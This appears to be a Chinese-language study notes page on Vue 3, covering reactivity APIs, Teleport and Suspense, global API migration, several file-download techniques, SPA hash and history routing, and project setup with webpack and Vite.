  • shallowReadonly:让一个响应式数据变为只读的(浅只读)。 应用场景:不希望数据被修改时,
let person ={
  name:"HelloWorld",
  age:18,
  job:{
    j:{
      salary:20
    }
  }
}
person=reactive(person)
person=readonly(person)//响应式数据变成只读
person=shallowReadonly(person)//响应式数据变成只读

image-20250325142515423

toRawmarkRaw

  • toRaw
    • 作用:将一个由reactive生成的响应式对象转为普通对象
    • 使用场景:用于读取响应式对象对应的普通对象,对这个普通对象的所有操作,不会引起页面更新。
  • markRaw:
    • 作用:标记一个对象,使其永远不会再成为响应式对象。。应用场景:
      1. 有些值不应被设置为响应式的,例如复杂的第三方类库等。
      2. 当染具有不可变数据源的大列表时,跳过响应式转换可以提高性能

toRaw效果就是Object

image-20250325143245892

markRaw

因为向响应式对象上加上普通对象的属性,默认这个普通对象也会变成响应式对象,所以markRaw应运而生

js
person = reactive(person)					//person是一个响应式对象

person.son = {name:'liHua',age:18}			//son属性最后也会变成响应式
person.son = markRaw({name:'liHua',age:18})	//这样添加son属性就还是Object

customRef

作用:创建一个自定义的ref,并对其依赖项跟踪和更新触发进行显式控制

实现防抖效果:

js
function myRef(value){
  return customRef((track, trigger)=>{
    let timer
    return {
      get(){
        track()//通知vue追踪数据的变化
        return value;
      },
      set(newValue){
        clearTimeout(timer)
        timer = setTimeout(()=>{
          value=newValue
          trigger();//通知vue重新解析代码
        },500)

      }
    }
  })
}
let name=myRef("zhangSan")
return {
  name
}

provideinject

  • 作用:实现祖孙组件间通信
  • 套路:父组件有一个provide选项来提供数据,子组件有一个inject选项来开始使用这些数据

祖组件中:

setup(){
	...
	provide('car',{name:'hhw'})
}

孙组件中

setup(){

	let car = inject('car')
}

响应式数据的判断

isRef:检查一个值是否为一个ref对象 isReactive:检查一个对象是否是由reactive创建的响应式代理

isReadonly:检查一个对象是否是由readonly创建的只读代理 isProxy:检查一个对象是否是由reactive或者readonly方法创建的代理

全新组件

Teleport

什么是Teleport?——Teleport是一种能够将我们的组件html结构移动到指定位置的技术

js
<teleport to="移动位置">
<div v-if="isshow"class="mask"

<div class="dialog">
≤h3>我是一个弹窗</h3>
<button@click="isShow=false">关闭弹窗</button>
</div> </div>

</teleport>
如果想传入最外层,就可以使用 to="body"

Suspense

  • 等待异步组件时染一些额外内容,让应用有更好的用户体验。

  • 使用步骤:

    • 异步引入组件

      js
      import {defineAsyncComponent} from 'vue'
      const Child = defineAsyncComponent(()=>import('./components/HelloWorld.vue'))
    • 使用Suspense包裹组件并配置好defaultfallback

    html
    <Suspense>
        <template v-slot:default>
          <Child/>
        </template>
        <template v-slot:fallback>
          加载中
        </template>
    </Suspense>

    异步组件定义就是使用defineAsyncComponent,异步组件有很多特性,而suspense标签只是用于一部组件还没有加载完成的展示

    特性1、可以使用异步await,返回Promise对象

    经过测试,只要异步组件就需要使用Suspense标签包裹

    defineAsyncComponent只是动态引入,并不一定需要

    image-20250325152934652

生命周期

组件生命周期图示

image-20250325001313674

可以通过配置项写生命周期钩子,也可以通过组合API塞进去

这些都是回调函数,比如

js
setup(){
	onBeforeMount(()=>{})
}

组合式api创建的回调要优先于生命周期钩子

响应式原理

vue2响应式原理前面说了,缺点:

  • 新增属性、删除属性,界面不会更新
  • 直接通过下标修改数组,界面不会自动更新。

vue3响应式原理

  • 通过Proxy(代理):拦截对象中任意属性的变化,包括:属性值的读写、属性的添加、属性的删除等
  • 通过Reflect(反射):对被代理对象的属性进行操作。
js
let p = new Proxy(person,{
  get(target, propName) {
    return Reflect.get(target, propName);
  },
  set(target, propName, newValue) {
    return Reflect.set(target, propName, newValue);
  },
  deleteProperty(target, propName) {
    return Reflect.deleteProperty(target, propName);
  }
})

使用Object.defineProperty容易出现redefine错误,但是使用Reflect.set不会出现这样的问题

全局API的转移(迁移)

从技术上讲,Vue 2 没有“app”的概念,我们定义的应用只是通过 new Vue() 创建的根 Vue 实例。从同一个 Vue 构造函数创建的每个根实例共享相同的全局配置,因此:

  • 在测试期间,全局配置很容易意外地污染其他测试用例。用户需要仔细地存储原始全局配置,并在每次测试后恢复 (例如重置 Vue.config.errorHandler)。有些 API 像 Vue.use 以及 Vue.mixin 甚至连恢复它们所产生的作用的方法都没有,这使得涉及插件的测试特别棘手。实际上,vue-test-utils 必须实现一个特殊的 API createLocalVue 来处理此问题:
js
import { createLocalVue, mount } from '@vue/test-utils'

// 创建一个扩展的 `Vue` 构造函数
const localVue = createLocalVue()

// 在 “local” Vue构造函数上 “全局地” 安装插件
localVue.use(MyPlugin)

// 将 `localVue` 传入挂载选项
mount(Component, { localVue })
  • 全局配置使得在同一页面上的多个“应用”在全局配置不同时共享同一个 Vue 副本非常困难。

    js
    // 这会影响到所有根实例
    Vue.mixin({
      /* ... */
    })
    
    const app1 = new Vue({ el: '#app-1' })
    const app2 = new Vue({ el: '#app-2' })

为了避免这些问题,在 Vue 3 中我们引入了…

一个新的全局 API:createApp

调用 createApp 返回一个应用实例,一个 Vue 3 中的新概念。

js
import { createApp } from 'vue'

const app = createApp({})

如果你使用的是 Vue 的 CDN 构建版本,那么 createApp 将通过全局的 Vue 对象暴露。

js
const { createApp } = Vue

const app = createApp({})

应用实例暴露了 Vue 2 全局 API 的一个子集,经验法则是,任何全局改变 Vue 行为的 API 现在都会移动到应用实例上,以下是 Vue2 全局 API 及其相应的实例 API 列表:

2.x 全局 API3.x 实例 API (app)
Vue.configapp.config
Vue.config.productionTip移除 (见下方)
Vue.config.ignoredElementsapp.config.compilerOptions.isCustomElement (见下方)
Vue.componentapp.component
Vue.directiveapp.directive
Vue.mixinapp.mixin
Vue.useapp.use (见下方)
Vue.prototypeapp.config.globalProperties (见下方)
Vue.extend移除 (见下方)

所有其他不全局改变行为的全局 API 现在都是具名导出,文档见全局 API Treeshaking

config.productionTip 移除

在 Vue 3.x 中,“使用生产版本”提示仅在使用“dev + full build”(包含运行时编译器并有警告的构建版本) 时才会显示。

对于 ES 模块构建版本,由于它们是与打包器一起使用的,而且在大多数情况下,CLI 或脚手架已经正确地配置了生产环境,所以本提示将不再出现。

迁移构建开关:CONFIG_PRODUCTION_TIP

vue2中有很多全局API和配置

Vue.component()//注册全局组件
Vue.directive()//注册全局命令
...

但是Vue3x之后就没有Vue对象了,Vue3对这些api进行了转移3

迁移指南https://v3-migration.vuejs.org/zh/

文件下载

在现代Web开发中,文件下载是一个常见的需求。Vue.js作为一款流行的前端框架,提供了多种实现文件下载的方法。本文将详细介绍6种在Vue项目中实现文件下载的常用方法,包括使用

window.open方法、创建<a>标签、使用axios、使用Fetch API以及调用Vue的$download方法。每种方法都附有具体的代码示例,帮助开发者根据项目需求选择最合适的实现方式。

使用window.open方法下载文件

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
export default {
  methods: {
    downloadFile(fileName) {
      const fileUrl = '/path/to/' + fileName; // 文件的URL地址
      window.open(fileUrl);
    }
  }
};
</script>

在上面的示例中,我们使用了window.open方法来打开一个新窗口,并直接访问文件的URL地址,从而触发文件下载。

2. 使用<a>标签进行文件下载(基础)

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
export default {
  methods: {
    downloadFile(fileName) {
      const fileUrl = '/path/to/' + fileName; // 文件的URL地址
      const link = document.createElement('a');
      link.href = fileUrl;
      link.setAttribute('download', fileName);
      link.click();
    }
  }
};
</script>

在上面的示例中,我们首先创建一个<a>标签,然后设置其href属性为文件的URL地址,download属性为要下载的文件名。最后,通过调用click()方法触发链接的点击事件,实现文件的下载。

3. 使用axios下载文件

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
import axios from 'axios';
export default {
  methods: {
    downloadFile(fileName) {
      const fileUrl = '/path/to/' + fileName; // 文件的URL地址
      axios.get(fileUrl, { responseType: 'blob' })
        .then(response => {
          const url = window.URL.createObjectURL(new Blob([response.data]));
          const link = document.createElement('a');
          link.href = url;
          link.setAttribute('download', fileName);
          document.body.appendChild(link);
          link.click();
        })
        .catch(error => {
          console.error(error);
        });
    }
  }
};
</script>

在上面的示例中,我们使用了axios发送GET请求,设置responseTypeblob以便获取文件的二进制数据。然后,通过创建临时URL、创建<a>标签并设置下载属性,实现文件的下载。

4. 使用Fetch API下载文件

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
export default {
  methods: {
    downloadFile(fileName) {
      const fileUrl = '/path/to/' + fileName; // 文件的URL地址
      fetch(fileUrl)
        .then(response => response.blob())
        .then(blob => {
          const url = window.URL.createObjectURL(blob);
          const link = document.createElement('a');
          link.href = url;
          link.setAttribute('download', fileName);
          document.body.appendChild(link);
          link.click();
        })
        .catch(error => {
          console.error(error);
        });
    }
  }
};
</script>

在上面的示例中,我们使用了Fetch API发送GET请求,并使用.blob()

方法将返回的数据转换为blob对象。然后,通过创建临时URL、创建<a>标签并设置下载属性,实现文件的下载。

5. 使用Vue的$download方法下载文件

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
export default {
  methods: {
    downloadFile(fileName) {
      const fileUrl = '/path/to/' + fileName; // 文件的URL地址
      this.$download(fileUrl, fileName);
    }
  }
};
</script>

在这个示例中,我们直接调用Vue实例的$download方法,并传入文件的URL地址和下载的文件名,即可实现文件的下载。

6. 使用创建a标签方法下载文件(进阶)

vue
<template>
  <div>
    <button @click="downloadFile('file1.pdf')">下载文件1</button>
    <button @click="downloadFile('file2.jpg')">下载文件2</button>
  </div>
</template>
<script>
export default {
  methods: {
    downloadFile(fileName) {
      const folderPath = '/path/to/folder/'; // 文件所在的文件夹路径
      const fileUrl = folderPath + fileName; // 拼接文件夹路径和文件名
      const link = document.createElement('a');
      link.href = fileUrl;
      link.setAttribute('download', fileName);
      link.click();
    }
  }
};
</script>

在这个示例中,我们首先定义了文件所在的文件夹路径folderPath,然后通过拼接文件夹路径和文件名来构建完整的文件URL地址fileUrl。接着,我们创建一个<a>标签,并设置其href属性为文件URL,download属性为要下载的文件名。最后,通过调用click()方法触发链接的点击事件,实现文件的下载。

以上是六种常用的在Vue中实现文件下载的方式,请根据项目需求选择合适的方式来完成文件下载功能。

总结

通过本文的介绍,我们详细探讨了在Vue项目中实现文件下载的6种方法。每种方法都有其适用场景和优缺点。

  • 使用window.open方法适合简单的文件下载需求;
  • 创建<a>标签则适用于需要自定义下载文件名的场景;
  • 使用axiosFetch API可以处理更复杂的API响应;
  • 调用Vue的$download方法简化了文件下载的步骤;

开发者可以根据项目的具体需求选择合适的方法,以实现高效、可靠的文件下载功能。希望本文的内容能为你的Vue项目开发提供有价值的参考。

在Vue项目中从assets目录实现文件下载,可以通过以下步骤完成:

方法一:使用Blob和文件内容(推荐)

此方法通过导入文件内容并生成Blob实现下载,适用于大多数场景。

  1. 安装raw-loader‌(若未配置txt处理)

    npm install raw-loader --save-dev
    //配置其他文件
    npm install file-loader --save-dev
  2. 配置vue.config.js

    module.exports = {
      chainWebpack: config => {
        config.module
          .rule('txt')
          .test(/\.txt$/)
          .use('raw-loader')
          .loader('raw-loader')
          .end();
      }
    };
  3. 组件中实现下载方法

    <template>
      <button @click="downloadFile">下载文件</button>
    </template>
    
    <script>
    import aaaaContent from '@/assets/aaaa.txt';
    
    export default {
      methods: {
        downloadFile() {
          const blob = new Blob([aaaaContent], { type: 'text/plain' });
          const url = window.URL.createObjectURL(blob);
          const a = document.createElement('a');
          a.href = url;
          a.download = 'aaaa.txt'; // 设置下载文件名
          a.click();
          window.URL.revokeObjectURL(url); // 释放内存
        }
      }
    };
    </script>

方法二:通过文件URL直接下载

此方法适用于文件路径正确且无需处理内容的情况。

组件中直接使用文件路径

vueCopy Code<template>
  <button @click="downloadFile">下载文件</button>
</template>

<script>
export default {
  methods: {
    downloadFile() {
      const fileUrl = require('@/assets/aaaa.txt');
      const link = document.createElement('a');
      link.href = fileUrl;
      link.download = 'aaaa.txt';
      document.body.appendChild(link);
      link.click();
      document.body.removeChild(link);
    }
  }
};
</script>

方法三:使用Fetch API获取文件

确保文件路径正确,并处理为Blob下载。

vueCopy Code<script>
export default {
  methods: {
    async downloadFile() {
      const fileUrl = require('@/assets/aaaa.txt');
      try {
        const response = await fetch(fileUrl);
        const blob = await response.blob();
        const url = window.URL.createObjectURL(blob);
        const a = document.createElement('a');
        a.href = url;
        a.download = 'aaaa.txt';
        a.click();
        window.URL.revokeObjectURL(url);
      } catch (error) {
        console.error('下载失败:', error);
      }
    }
  }
};
</script>

注意事项

  • 路径问题‌:确保构建后文件路径正确,若使用require,路径可能被Webpack处理。
  • 浏览器兼容性‌:部分浏览器可能需服务器设置Content-Disposition头,本地测试时推荐使用Chrome。
  • 文件大小‌:大文件建议使用服务器端下载,避免前端内存问题。

以上方法根据不同需求选择,方法一较为通用且可靠,推荐使用。

SPA实现无页面刷新的底层原理解析

一、‌前端路由控制机制
  1. URL变更拦截‌ 通过History APIpushState/replaceState)或Hash模式动态修改浏览器地址栏路径,避免触发HTTP请求和页面重载‌。例如:

    history.pushState({}, '', '/new-route'); // 路径变更无刷新
  2. 事件驱动更新‌ 监听popstate(History模式)或hashchange(Hash模式)事件,根据路径变化触发局部视图更新逻辑‌15。例如:

    window.addEventListener('popstate', () => {
      renderView(location.pathname); // 仅更新关联组件
    });

在 Web 开发中,‌Hash 模式‌是一种实现单页应用(SPA)前端路由的核心技术,它通过操作 URL 中的 ‌**哈希部分(# 后的字符串)**‌ 来实现页面无刷新跳转。以下是其底层原理和实现细节的解析:


一、Hash 模式的本质

  1. URL 哈希的浏览器特性‌ 浏览器对 URL 的哈希部分(#xxx)有以下默认行为:
    • 不发送到服务器‌:哈希值的变化不会触发页面刷新或 HTTP 请求(服务器无法感知)
    • 不参与页面定位‌:哈希值仅用于客户端页面内的锚点定位(如 <a href="#section1">
  2. SPA 的巧妙利用‌ 开发者通过监听哈希变化事件(hashchange),将哈希值作为路由标识符,‌绕过浏览器默认行为‌,实现前端自主控制内容加载。

二、Hash 模式的工作原理

1. URL 格式
https://example.com/#/user/profile
        │         │       └── 前端路由路径
        │         └── 哈希起始符
        └── 服务器实际接收的 URL
2. 核心流程
mermaidCopy Codegraph TD
    A[用户点击链接] --> B{URL 哈希变化}
    B -->|触发 hashchange 事件| C[前端路由解析哈希]
    C --> D[加载对应组件/数据]
    D --> E[局部更新 DOM]
3. 关键技术实现
  • 哈希操作 API

    location.hash = '#/user/123';     // 修改哈希值
    console.log(location.hash);      // 输出 "#/user/123"
  • 事件监听

    window.addEventListener('hashchange', () => {
      const path = location.hash.slice(1); // 获取 "#/user/123" → "/user/123"
      router.render(path);           // 根据路径渲染组件
    });

vue创建项目

webpack创建项目(vue2+vue3,使用的是官方脚手架):

vue create test-webpack

vite创建项目:

npm create vue@latest	#(官方教程)
npm create vite@latest my-vue-app	#AI给的教程

AI教程:

image-20250920125232544

然后创建vite构建得相关项目: image-20250920125308944

这个流程是不一样的

JS里写模板

这是什么鬼写法啊,为啥在js里面这么写组件:


operateRender(row) {
      const funcPermissions = this.funcPermissions;
      const operateButtons = [];
      const checkButton = this.createAuditOrViewButton(false, '查看', row);
      switch (row.status) {
        case refundStatusEnum.waitApprove: {
          if (funcPermissions.refundOperatePms.display) {
            operateButtons.push(
              <el-tooltip
                class="item"
                effect="dark"
                content="提醒审核人"
                placement="top-start"
              >
                {this.createButton(
                  '提醒',
                  row,
                  this.remindApprove,
                  row.isReminding
                )}
              </el-tooltip>
            );
          }
          operateButtons.push(
            funcPermissions.approveRefund.display && row.canAudit
              ? this.createAuditOrViewButton(true, '审核', row)
              : checkButton
          );
          break;
        }
        case refundStatusEnum.refundFailed: {
          operateButtons.push(
            this.createButton('查看原因', row, this.checkRefundFailedReason)
          );
        }
        // eslint-disable-line [no-fallthrough]
        case refundStatusEnum.waitRefund: {
          operateButtons.push(
            funcPermissions.refundOperatePms.display &&
            row.payType === payTypeEnum.origin
              ? this.createButton('退费', row)
              : checkButton
          );
          break;
        }
        case refundStatusEnum.waitClosePms: {
          operateButtons.push(
            funcPermissions.refundOperatePms.display
              ? this.createButton('关闭权限', row)
              : checkButton
          );
          break;
        }
        default: {
          operateButtons.push(checkButton);
        }
      }
      return operateButtons;
    },

路由写法?

<router-view v-slot="{ Component, route }">
<keep-alive>
  <component 
	:is="Component" 
	v-if="route.meta.keepAlive" 
	:key="route.name"
  />
</keep-alive>
<component 
  :is="Component" 
  v-if="!route.meta.keepAlive" 
  :key="route.name"
/>
</router-view>

评论

评论加载中……